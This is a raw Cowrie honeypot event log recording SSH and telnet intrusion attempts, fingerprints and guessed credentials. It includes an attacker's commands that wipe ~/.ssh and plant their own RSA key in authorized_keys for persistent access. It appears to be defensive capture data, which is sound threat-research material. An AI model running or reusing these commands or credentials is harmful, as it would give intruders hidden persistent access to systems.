{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:07:32.055298Z","src_ip":"179.51.153.37","session":"52a4ca5837f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:07:32.206777Z","src_ip":"179.51.153.37","session":"52a4ca5837f4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:07:32.847509Z","src_ip":"179.51.153.37","session":"52a4ca5837f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:07:33.002212Z","src_ip":"179.51.153.37","session":"038a190251cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:07:33.006280Z","src_ip":"179.51.153.37","session":"52a4ca5837f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":52348,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d219435018d","protocol":"ssh","message":"New connection: 193.32.162.151:52348 (159.203.135.109:22) [session: 8d219435018d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:07:49.675459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:07:49.679658Z","src_ip":"193.32.162.151","session":"8d219435018d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:07:49.791886Z","src_ip":"193.32.162.151","session":"8d219435018d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chengfeng","password":"chengfeng","message":"login attempt [chengfeng/chengfeng] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:07:50.122407Z","src_ip":"193.32.162.151","session":"8d219435018d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:07:51.227795Z","src_ip":"193.32.162.151","session":"8d219435018d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.197.182","src_port":55538,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d74be56f83a","protocol":"ssh","message":"New connection: 64.62.197.182:55538 (10.17.0.5:22) [session: 6d74be56f83a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:09:03.874306Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:09:03.897352Z","src_ip":"64.62.197.182","session":"6d74be56f83a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:09:03.914271Z","src_ip":"64.62.197.182","session":"6d74be56f83a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.213.163.177","src_port":56837,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb7a51d87755","protocol":"telnet","message":"New connection: 49.213.163.177:56837 (159.203.135.109:23) [session: fb7a51d87755]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:09:11.801333Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.38.26.5","src_port":36146,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba1917c31d7f","protocol":"ssh","message":"New connection: 186.38.26.5:36146 (10.17.0.5:22) [session: ba1917c31d7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:09:19.210494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:09:19.214838Z","src_ip":"186.38.26.5","session":"ba1917c31d7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:09:19.393413Z","src_ip":"186.38.26.5","session":"ba1917c31d7f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1q2w3e4r.","message":"login attempt [root/1q2w3e4r.] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:09:20.140675Z","src_ip":"186.38.26.5","session":"ba1917c31d7f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:09:20.567106Z","src_ip":"186.38.26.5","session":"ba1917c31d7f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:09:20.570525Z","src_ip":"186.38.26.5","session":"ba1917c31d7f","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:09:20.574224Z","src_ip":"186.38.26.5","session":"ba1917c31d7f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:09:20.755856Z","src_ip":"186.38.26.5","session":"ba1917c31d7f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:09:21.157082Z","src_ip":"186.38.26.5","session":"ba1917c31d7f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:09:21.160565Z","src_ip":"186.38.26.5","session":"ba1917c31d7f","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:09:21.343330Z","src_ip":"186.38.26.5","session":"ba1917c31d7f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:09:21.347102Z","src_ip":"186.38.26.5","session":"ba1917c31d7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.38.26.5","src_port":36606,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d736b0e9056","protocol":"ssh","message":"New connection: 186.38.26.5:36606 (10.17.0.5:22) [session: 1d736b0e9056]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:09:21.504830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:09:21.509661Z","src_ip":"186.38.26.5","session":"1d736b0e9056","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:09:21.675431Z","src_ip":"186.38.26.5","session":"1d736b0e9056","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:09:22.368480Z","src_ip":"186.38.26.5","session":"1d736b0e9056","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:09:23.537777Z","src_ip":"186.38.26.5","session":"1d736b0e9056","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.38.26.5","src_port":37044,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6b01e77884f","protocol":"ssh","message":"New connection: 186.38.26.5:37044 (10.17.0.5:22) [session: d6b01e77884f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:09:23.711306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:09:23.715740Z","src_ip":"186.38.26.5","session":"d6b01e77884f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:09:23.895524Z","src_ip":"186.38.26.5","session":"d6b01e77884f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:09:24.636431Z","src_ip":"186.38.26.5","session":"d6b01e77884f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:09:24.815972Z","src_ip":"186.38.26.5","session":"d6b01e77884f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:09:24.819896Z","src_ip":"186.38.26.5","session":"ba1917c31d7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.802743911743164,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:09:42.603960Z","src_ip":"49.213.163.177","session":"fb7a51d87755","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":47600,"dst_ip":"159.203.135.109","dst_port":22,"session":"7653040beafa","protocol":"ssh","message":"New connection: 195.178.110.218:47600 (159.203.135.109:22) [session: 7653040beafa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:10:01.119900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:10:01.124893Z","src_ip":"195.178.110.218","session":"7653040beafa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:10:01.205038Z","src_ip":"195.178.110.218","session":"7653040beafa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"root","message":"login attempt [solana/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:10:01.447444Z","src_ip":"195.178.110.218","session":"7653040beafa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:10:02.535611Z","src_ip":"195.178.110.218","session":"7653040beafa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":39970,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed0d0fab46a9","protocol":"ssh","message":"New connection: 193.32.162.151:39970 (159.203.135.109:22) [session: ed0d0fab46a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:10:04.932820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:10:04.943591Z","src_ip":"193.32.162.151","session":"ed0d0fab46a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","ae